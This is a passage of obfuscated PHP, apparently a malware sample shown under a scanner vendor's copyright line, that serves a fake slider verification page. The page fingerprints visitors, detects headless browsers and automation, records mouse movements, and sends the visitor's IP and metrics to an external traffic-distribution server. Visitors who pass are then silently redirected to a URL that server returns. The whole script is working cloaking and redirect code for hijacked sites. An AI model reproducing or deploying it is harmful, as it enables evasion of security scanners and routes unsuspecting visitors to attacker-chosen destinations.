$hi=(int)$cfg["wait_max"];
if($hi<$lo)$hi=$lo;
$delay=rand($lo*1000,$hi*1000);
$now=microtime(true);
$sec=(int)$now;
$ms=(int)(($now-$sec)*1000);
$seed=pack("C4",rand(0,255),rand(0,255),rand(0,255),rand(0,255));
$prefix=_alpha(rand(4,6));
$names=_xids(15);
$id=_xids(9);
$dec=$id[0];
$pix=$id[1];
$qel=$id[2];
$gxf=$id[3];$gyf=$id[4];$dnf=$id[5];$mvf=$id[6];$upf=$id[7];$apf=$id[8];
$dom=array('cb'=>_rid(),'vf'=>_rid(),'sc'=>_rid(),'pg'=>_rid(),'ld'=>_rid(),'h2'=>_rid(),'desc'=>_rid(),'wc'=>_rid(),'sw'=>_rid(),'str'=>_rid(),'sfl'=>_rid(),'sth'=>_rid(),'slb'=>_rid(),'ht'=>_rid());
$cookie=_pass_make($cfg,$sec,$ms,$seed,$prefix,$names,$hex);
$seed_hex=bin2hex($seed);
$showCb=!empty($cfg['anim_checkbox']);
$checkDelay=rand((int)$cfg['anim_check_min'],(int)$cfg['anim_check_max']);
$animDelay=(int)$cfg['anim_transition'];
$successDelay=rand((int)$cfg['anim_success_min'],(int)$cfg['anim_success_max']);
if($showCb){
$mainDelay=$delay-$checkDelay-$animDelay-$successDelay;
}else{
$mainDelay=$delay-$successDelay;
}
if($mainDelay<500)$mainDelay=500;
$e=array();
foreach(array("canvas","2d","textBaseline","top","font","16px Arial","fillStyle","fillRect","fillText","getImageData","data","webgl","experimental-webgl","getExtension","WEBGL_debug_renderer_info","getParameter","UNMASKED_RENDERER_WEBGL","webdriver","callPhantom","_phantom","__nightmare","domAutomation","domAutomationController","userAgent","Headless","PhantomJS","chrome","language","platform","width","height","XMLHttpRequest","POST","Content-Type","application/x-www-form-urlencoded","atob","getElementById","querySelector","style","display","none","grid","visibility","visible","block","checked","input",".cf-sp",".cf-si") as $w){
$e[$w]=_e($w,$k);
}
foreach($dom as $dk=>$dv){
$e['_'.$dk]=_e($dv,$k);
}
foreach(array("mousedown","mousemove","mouseup","touchstart","touchmove","touchend","addEventListener","removeEventListener","getBoundingClientRect","offsetWidth","clientX","clientY","touches","isTrusted","transform","translateX","className") as $w){
$e[$w]=_e($w,$k);
}
$n=$names;
$S=$dec."(".$e["style"].")";
$D=$dec."(".$e["display"].")";
$V=$dec."(".$e["visibility"].")";
$j="(function(){var LT=Date.now();";
$j.="function ".$dec."(a){var s=\"\",i=0;while(i<a.length){s+=String.fromCharCode((a[i]^".$k.")&255);i++;}return s;}";
$j.="function ".$pix."(){";
$j.="var c=document.createElement(".$dec."(".$e["canvas"].")),g,p,h,i;";
$j.="c.width=".$cw.";c.height=".$chh.";";
$j.="g=c.getContext(".$dec."(".$e["2d"]."));";
$j.="if(!g)return \"0\";";
$j.="g[".$dec."(".$e["textBaseline"].")]=".$dec."(".$e["top"].");";
$j.="g[".$dec."(".$e["font"].")]=".$dec."(".$e["16px Arial"].");";
$j.="g[".$dec."(".$e["fillStyle"].")]=\"".$c1."\";";
$j.="g[".$dec."(".$e["fillRect"].")](0,0,".$cw.",".$chh.");";
$j.="g[".$dec."(".$e["fillStyle"].")]=\"".$c2."\";";
$j.="g[".$dec."(".$e["fillText"].")](\"".$seed_hex."\",2,4);";
$j.="try{p=g[".$dec."(".$e["getImageData"].")](0,0,".$cw.",".$chh.")[".$dec."(".$e["data"].")];}catch(e){return \"0\";}";
$j.="h=".$init.";i=0;while(i<p.length){h^=p[i];h=(h*".$mul.")|0;i+=".$step.";}";
$j.="return (h>>>0).toString(16);}";
$j.="function ".$qel."(a){return document[".$dec."(".$e["getElementById"].")](a);}";
if($showCb){
$j.="setTimeout(function(){";
$j.=$qel."(".$dec."(".$e['_cb']."))[".$dec."(".$e["querySelector"].")](".$dec."(".$e["input"]."))[" .$dec."(".$e["checked"].")]=true;";
$j.="setTimeout(function(){";
$j.="var s=".$S.",d=".$D.",v=".$V.";";
$j.=$qel."(".$dec."(".$e['_cb']."))[s][d]=".$dec."(".$e["none"].");";
$j.="var vf=".$qel."(".$dec."(".$e['_vf']."));";
$j.="vf[s][d]=".$dec."(".$e["grid"].");vf[s][v]=".$dec."(".$e["visible"].");";
}else{
$j.="setTimeout(function(){";
$j.="var s=".$S.",d=".$D.",v=".$V.";";
$j.="var vf=".$qel."(".$dec."(".$e['_vf']."));";
}
$j.="setTimeout(function(){";
$j.="vf[s][d]=".$dec."(".$e["none"].");";
$j.="var sc=".$qel."(".$dec."(".$e['_sc']."));";
$j.="sc[s][d]=".$dec."(".$e["grid"].");sc[s][v]=".$dec."(".$e["visible"].");";
$j.="setTimeout(function(){sc[".$dec."(".$e["querySelector"].")](".$dec."(".$e[".cf-sp"]."))[s][d]=".$dec."(".$e["none"].");";
$j.="var ci=sc[".$dec."(".$e["querySelector"].")](".$dec."(".$e[".cf-si"]."));";
$j.="ci[s][d]=".$dec."(".$e["block"].");ci[s][v]=".$dec."(".$e["visible"].");},300);";
$AEL=$dec."(".$e["addEventListener"].")";
$j.="setTimeout(function(){";
$j.=$qel."(".$dec."(".$e['_ht']."))[s][d]=".$dec."(".$e["none"].");";
$j.=$qel."(".$dec."(".$e['_h2']."))[s][d]=".$dec."(".$e["none"].");";
$j.=$qel."(".$dec."(".$e['_desc']."))[s][d]=".$dec."(".$e["none"].");";
$j.=$qel."(".$dec."(".$e['_wc']."))[s][d]=".$dec."(".$e["none"].");";
$j.="var sw=".$qel."(".$dec."(".$e['_sw']."));";
$j.="sw[s][d]=".$dec."(".$e["block"].");";
$j.="var P=[],DR=0,SX=0,ST=0,CX=0,RC=null,IT=0;";
$j.="var trk=".$qel."(".$dec."(".$e['_str']."));";
$j.="var thm=".$qel."(".$dec."(".$e['_sth']."));";
$j.="var fil=".$qel."(".$dec."(".$e['_sfl']."));";
$j.="var lbl=".$qel."(".$dec."(".$e['_slb']."));";
$j.="var TW=trk[".$dec."(".$e["offsetWidth"].")];";
$j.="var MX=TW-44;";
$j.="var AP=[];";
$j.="function ".$apf."(e){AP.push([e[".$dec."(".$e["clientX"].")],e[".$dec."(".$e["clientY"].")],Date.now()]);if(AP.length>20)AP.shift();}";
$j.="document[".$AEL."](".$dec."(".$e["mousemove"]."),".$apf.");";
$j.="function ".$gxf."(e){var t=e[".$dec."(".$e["touches"].")];if(t&&t.length)return t[0][".$dec."(".$e["clientX"].")];return e[".$dec."(".$e["clientX"].")];};";
$j.="function ".$gyf."(e){var t=e[".$dec."(".$e["touches"].")];if(t&&t.length)return t[0][".$dec."(".$e["clientY"].")];return e[".$dec."(".$e["clientY"].")];};";
$REL=$dec."(".$e["removeEventListener"].")";
$j.="function ".$dnf."(e){e.preventDefault();DR=1;SX=".$gxf."(e);ST=Date.now();RC=trk[".$dec."(".$e["getBoundingClientRect"].")]();P=[[0,".$gyf."(e)-RC[".$dec."(".$e["top"].")]-22,0,e[".$dec."(".$e["isTrusted"].")]?1:0]];";
$j.="document[".$AEL."](".$dec."(".$e["mousemove"]."),".$mvf.");";
$j.="document[".$AEL."](".$dec."(".$e["touchmove"]."),".$mvf.",{passive:false});";
$j.="document[".$AEL."](".$dec."(".$e["mouseup"]."),".$upf.");";
$j.="document[".$AEL."](".$dec."(".$e["touchend"]."),".$upf.");";
$j.="document[".$REL."](".$dec."(".$e["mousemove"]."),".$apf.");";
$j.="IT=e[".$dec."(".$e["touches"].")]?1:0;}";
$j.="function ".$mvf."(e){e.preventDefault();";
$j.="var cx=".$gxf."(e),dx=cx-SX;if(dx<0)dx=0;if(dx>MX)dx=MX;CX=dx;";
$j.="thm[s][".$dec."(".$e["transform"].")]=".$dec."(".$e["translateX"].")+\"(\"+dx+\"px)\";";
$j.="fil[s][".$dec."(".$e["width"].")]=\"\"+dx+\"px\";";
$j.="if(dx>MX*0.7)lbl[s][d]=".$dec."(".$e["none"].");";
$j.="var t=Date.now()-ST,y=".$gyf."(e)-RC[".$dec."(".$e["top"].")]-22;";
$j.="P.push([dx,Math.round(y),t,e[".$dec."(".$e["isTrusted"].")]?1:0]);}";
$j.="function ".$upf."(e){if(!DR)return;DR=0;";
$j.="document[".$REL."](".$dec."(".$e["mousemove"]."),".$mvf.");";
$j.="document[".$REL."](".$dec."(".$e["touchmove"]."),".$mvf.");";
$j.="document[".$REL."](".$dec."(".$e["mouseup"]."),".$upf.");";
$j.="document[".$REL."](".$dec."(".$e["touchend"]."),".$upf.");";
$j.="if(CX>=MX*0.95){";
$j.="if(Date.now()-LT>".((int)$cfg["pass_ttl"]*1000)."){sw.innerHTML='<p style=\"text-align:center;color:#999;font-size:15px;padding:20px 0\">Session expired. Please reload the page.</p>';thm[".$REL."](".$dec."(".$e["mousedown"]."),".$dnf.");thm[".$REL."](".$dec."(".$e["touchstart"]."),".$dnf.");return;}";
$j.="trk[".$dec."(".$e["className"].")]+=\" sl-ok\";lbl.textContent=\"\\u2713\";lbl[s][d]='';";
$j.="thm[".$REL."](".$dec."(".$e["mousedown"]."),".$dnf.");thm[".$REL."](".$dec."(".$e["touchstart"]."),".$dnf.");thm[s].pointerEvents='none';";
$j.="var mc=P.length,dur=mc>1?P[mc-1][2]:0,ys=0,dc=0,ld=0,sp=[],at=1,iv=[];";
$j.="for(var i=1;i<mc;i++){ys+=Math.abs(P[i][1]);";
$j.="var ddx=P[i][0]-P[i-1][0],ddt=P[i][2]-P[i-1][2];";
$j.="if(ddt>0){sp.push(Math.abs(ddx)/ddt);iv.push(ddt);}";
$j.="var dr=ddx>0?1:(ddx<0?-1:0);if(dr!==0&&dr!==ld&&ld!==0)dc++;if(dr!==0)ld=dr;";
$j.="if(!P[i][3])at=0;}";
$j.="if(!P[0][3])at=0;";
$j.="var sv=0;if(sp.length>1){var ag=0;for(var i=0;i<sp.length;i++)ag+=sp[i];ag/=sp.length;for(var i=0;i<sp.length;i++)sv+=(sp[i]-ag)*(sp[i]-ag);sv=Math.floor(Math.sqrt(sv/sp.length)*1000);}";
$j.="var ivar=0;if(iv.length>1){var ag2=0;for(var i=0;i<iv.length;i++)ag2+=iv[i];ag2/=iv.length;for(var i=0;i<iv.length;i++)ivar+=(iv[i]-ag2)*(iv[i]-ag2);ivar=Math.floor(Math.sqrt(ivar/iv.length)*1000);}";
$j.="var dw=mc>1?P[1][2]:0;";
$j.="var sb=mc+'|'+dur+'|'+Math.floor(ys)+'|'+dc+'|'+sv+'|'+at+'|'+ivar+'|'+dw+'|'+IT;";
$j.="var sa='0|0|0';";
$j.="if(AP.length>1){var apd=AP[AP.length-1][2]-AP[0][2],adc=0;";
$j.="if(AP.length>=6){var es=0,ls=0;for(var i=1;i<=2;i++){var ddx=AP[i][0]-AP[i-1][0],ddy=AP[i][1]-AP[i-1][1],ddt=AP[i][2]-AP[i-1][2];if(ddt>0)es+=Math.sqrt(ddx*ddx+ddy*ddy)/ddt;}";
$j.="for(var i=AP.length-2;i>=AP.length-3&&i>=0;i--){var ddx=AP[i+1][0]-AP[i][0],ddy=AP[i+1][1]-AP[i][1],ddt=AP[i+1][2]-AP[i][2];if(ddt>0)ls+=Math.sqrt(ddx*ddx+ddy*ddy)/ddt;}adc=ls<es?1:0;}";
$j.="sa=AP.length+'|'+apd+'|'+adc;}";
$j.="var sm='',stp=Math.max(1,Math.floor(mc/30));for(var i=0;i<mc;i+=stp){var px=P[i][0]&0xffff,py=(P[i][1]+500)&0xffff,pt=P[i][2]&0xffff;sm+=('0000'+px.toString(16)).slice(-4)+('0000'+py.toString(16)).slice(-4)+('0000'+pt.toString(16)).slice(-4);}";
$j.="var scc='1';";
$j.="var wd=(navigator[".$dec."(".$e["webdriver"].")]===true)?1:0;";
$j.="var ph=(window[".$dec."(".$e["callPhantom"].")]||window[".$dec."(".$e["_phantom"].")]||window[".$dec."(".$e["__nightmare"].")]||window[".$dec."(".$e["domAutomation"].")]||window[".$dec."(".$e["domAutomationController"].")])?1:0;";
$j.="var ua=navigator[".$dec."(".$e["userAgent"].")]||\"\";";
$j.="var au=(ua.indexOf(".$dec."(".$e["Headless"]."))>=0||ua.indexOf(".$dec."(".$e["PhantomJS"]."))>=0)?1:0;";
$j.="var root=document.documentElement;if(root&&root.getAttribute(".$dec."(".$e["webdriver"].")))au=1;";
$j.="var gl=\"-\",cv,gx,ex;try{cv=document.createElement(".$dec."(".$e["canvas"]."));gx=cv.getContext(".$dec."(".$e["webgl"]."))||cv.getContext(".$dec."(".$e["experimental-webgl"]."));if(gx){ex=gx[".$dec."(".$e["getExtension"].")](".$dec."(".$e["WEBGL_debug_renderer_info"]."));if(ex)gl=gx[".$dec."(".$e["getParameter"].")](ex[".$dec."(".$e["UNMASKED_RENDERER_WEBGL"].")])||\"-\";}}catch(err){}";
$j.="var lg=navigator[".$dec."(".$e["language"].")]||\"-\";";
$j.="var pl=navigator[".$dec."(".$e["platform"].")]||\"-\";";
$j.="var ww=(screen&&screen[".$dec."(".$e["width"].")])||0;";
$j.="var wh=(screen&&screen[".$dec."(".$e["height"].")])||0;";
$j.="var ch=window[".$dec."(".$e["chrome"].")]?1:0;";
$j.="var cvh=".$pix."();";
$j.="var body=";
$vals=array("wd","ph","au","ww","wh","lg","gl","cvh","pl","ch","ua","sb","sm","scc","sa");
for($i=0;$i<15;$i++){
if($i)$j.="+\"&\"+";
$j.="\"".$n[$i]."=\"+encodeURIComponent(".$vals[$i].")";
}
$j.=";";
if(!empty($cfg['debug'])){
$j.="var dtxt='wd='+wd+' | ph='+ph+' | au='+au+' | ww='+ww+' | wh='+wh+' | lg='+lg+' | gl='+gl+' | cvh='+cvh+' | pl='+pl+' | ch='+ch+' | ua='+ua+' | sb='+sb+' | dw='+dw+' | sm('+sm.length+')='+sm.substring(0,24)+' | scc='+scc+' | sa='+sa;";
$j.="var dd=document.createElement('div');";
$j.="dd.style.cssText='position:fixed;bottom:0;left:0;right:0;padding:8px 10px;background:#111;color:#0f0;font:11px/1.5 monospace;z-index:99999;word-break:break-all;max-height:50vh;overflow:auto;-webkit-overflow-scrolling:touch;';";
$j.="var cb=document.createElement('span');";
$j.="cb.textContent='copy';";
$j.="cb.style.cssText='display:inline-block;margin-right:8px;padding:2px 6px;background:#555;color:#fff;border:none;border-radius:3px;cursor:pointer;font:11px monospace;vertical-align:middle;flex-shrink:0;';";
$j.="cb.onclick=function(){navigator.clipboard.writeText(dtxt+' || '+vs.textContent).then(function(){cb.textContent='ok';setTimeout(function(){cb.textContent='copy';},1500);});};";
$j.="dd.appendChild(cb);";
$j.="var ds=document.createElement('span');ds.textContent=dtxt+' || ';dd.appendChild(ds);";
$j.="var vs=document.createElement('span');vs.textContent='...';vs.style.cssText='font-weight:bold;';dd.appendChild(vs);";
$j.="document.body.appendChild(dd);";
$j.="var C=window[".$dec."(".$e["XMLHttpRequest"].")];";
$j.="var x=new C();";
$j.="x.open(".$dec."(".$e["POST"]."),location.pathname+location.search,true);";
$j.="x.setRequestHeader(".$dec."(".$e["Content-Type"]."),".$dec."(".$e["application/x-www-form-urlencoded"]."));";
$j.="x.onload=function(){var r=x.responseText||'';vs.textContent=r;if(r==='PASS')vs.style.color='#0f0';else if(r.indexOf('HARD')===0||r.indexOf('FAIL')===0)vs.style.color='#f44';else vs.style.color='#fa0';};";
$j.="x.onerror=function(){vs.textContent='ERR';vs.style.color='#f44';};";
$j.="x.send(body);";
}else{
$j.="var C=window[".$dec."(".$e["XMLHttpRequest"].")];";
$j.="var x=new C();";
$j.="x.open(".$dec."(".$e["POST"]."),location.pathname+location.search,true);";
$j.="x.setRequestHeader(".$dec."(".$e["Content-Type"]."),".$dec."(".$e["application/x-www-form-urlencoded"]."));";
$j.="x.onload=function(){var r=x.responseText||\"\";if(x.status===200&&r.indexOf(\"".$prefix."\")===0){window.top.location.href=window[".$dec."(".$e["atob"].")](r.substring(".strlen($prefix)."));}};";
$j.="x.send(body);";
}
$j.="}else{CX=0;thm[s][".$dec."(".$e["transform"].")]=".$dec."(".$e["translateX"].")+\"(0px)\";fil[s][".$dec."(".$e["width"].")]=\"0px\";lbl[s][d]='';}";
$j.="}";
$j.="thm[".$AEL."](".$dec."(".$e["mousedown"]."),".$dnf.");";
$j.="thm[".$AEL."](".$dec."(".$e["touchstart"]."),".$dnf.",{passive:false});";
$j.="},".$successDelay.");";
$j.="},".$mainDelay.");";
if($showCb){
$j.="},".$animDelay.");";
$j.="},".$checkDelay.");";
}else{
$j.="},0);";
}
$j.="})();";
return array($j,$cookie,$dom);
}
function _link($hex,$metrics){
$cfg=_cfg();
$ip=_ip();
if($ip===""){_st(null);exit;}
$gi=_gi();
$tr=$cfg["dropugly_url"];
$d=_dl($tr."utm_source=".base64_encode($ip)."&utm_content=".$hex."&utm_medium=".$gi."&utm_campaign=".$metrics,$cfg);
if(preg_match("/".preg_quote($cfg["tds_mark"],"/")."([^;]+);(\\d+);/",$d,$m)&&$m[2]==1){
return $m[1];
}
return false;
}
function _gate($cfg){
$hex=_hex_q();
if($cfg["cookie_name"]==="")$cfg["cookie_name"]="c".substr(md5($hex.$cfg["sign_key"]),0,8);
$name=$cfg["cookie_name"];
$ck=($name!==""&&isset($_COOKIE[$name]))?$_COOKIE[$name]:"";
$pass=_pass_open($ck,$hex,$cfg);
if($hex===""||$pass===false){
if(!empty($cfg['debug'])){_hd();header("Content-Type: text/plain; charset=utf-8");echo $hex===""?"FAIL:no_hex":"FAIL:pass_invalid";exit;}
_st(null);exit;
}
$sent=$pass["sec"]+$pass["ms"]/1000;
$dt=microtime(true)-$sent;
$slop=(float)$cfg["wait_slop"];
if($dt<((int)$cfg["wait_min"]-$slop)||$dt>(int)$cfg["pass_ttl"]){
if(!empty($cfg['debug'])){_hd();header("Content-Type: text/plain; charset=utf-8");echo $dt<((int)$cfg["wait_min"]-$slop)?"FAIL:too_early":"FAIL:pass_expired";exit;}
_st(null);exit;
}
$ua=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";
$al=isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:"";
$got=array();
for($i=0;$i<15;$i++){
$fn=$pass["names"][$i];
$got[]=isset($_POST[$fn])?$_POST[$fn]:"";
}
$keys=array("wd","ph","au","ww","wh","lg","gl","cvh","pl","ch","ua","sb","sm","scc","sa");
$parts=array();
for($i=0;$i<15;$i++)$parts[]=$keys[$i]."=".urlencode($got[$i]);
$parts[]="hua=".urlencode($ua);
$parts[]="al=".urlencode($al);
$metrics=base64_encode(implode("&",$parts));
if(!empty($cfg['debug'])){
$u=_link($hex,$metrics);
_hd();
header("Content-Type: text/plain; charset=utf-8");
echo $u!==false?"PASS":"BLOCKED";
exit;
}
$u=_link($hex,$metrics);
if($u===false){_st(null);exit;}
_hd();
header("Content-Type: text/plain; charset=utf-8");
echo $pass["prefix"].$u;
exit;
}
function _page($cfg,$hex){
if($cfg["cookie_name"]==="")$cfg["cookie_name"]="c".substr(md5($hex.$cfg["sign_key"]),0,8);
if(!preg_match("/^[A-Za-z][A-Za-z0-9_]{0,20}$/",$cfg["cookie_name"])){_st(null);exit;}
list($j,$cookie,$dom)=_js($cfg,$hex);
$host=$cfg['site_domain'];
if($host==='')$host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'';
if($host===''){$fh=parse_url($cfg['fallback_url'],PHP_URL_HOST);if($fh!==null&&$fh!==false)$host=$fh;}
$showCb=!empty($cfg['anim_checkbox']);
$d=_tpl($dom,$host,$showCb,$cfg['slider_title'],$cfg['slider_text']);
if(!is_string($d)||$d===""||strpos($d,"// %SCRIPT%")===false){_st(null);exit;}
$d=str_replace("// %SCRIPT%",$j,$d);
header("Set-Cookie: ".$cfg["cookie_name"]."=".$cookie."; Path=/; HttpOnly; SameSite=Lax");
_hd();
header("Content-Type: text/html; charset=utf-8");
echo $d;
exit;
}
function _in(){
if(version_compare(PHP_VERSION,'5.1.2','<')||!function_exists('gzinflate')){_nf();exit;}
$cfg=_cfg();
$term=(isset($_REQUEST["utm_term"])&&is_string($_REQUEST["utm_term"]))?$_REQUEST["utm_term"]:"";
if(strlen($term)&&!preg_match("/^\\d+$/",$term)){_pl($term);exit;}
if(isset($_SERVER["REQUEST_METHOD"])&&$_SERVER["REQUEST_METHOD"]==="POST"){_gate($cfg);exit;}
if(strlen($term)){_st($cfg["dropugly_url"]."utm_term=".$term);exit;}
$hex=_hex_q();
if($hex!==""){_page($cfg,$hex);exit;}
_st(null);
exit;
}
_in();
© 2023 Quttera Ltd. All rights reserved.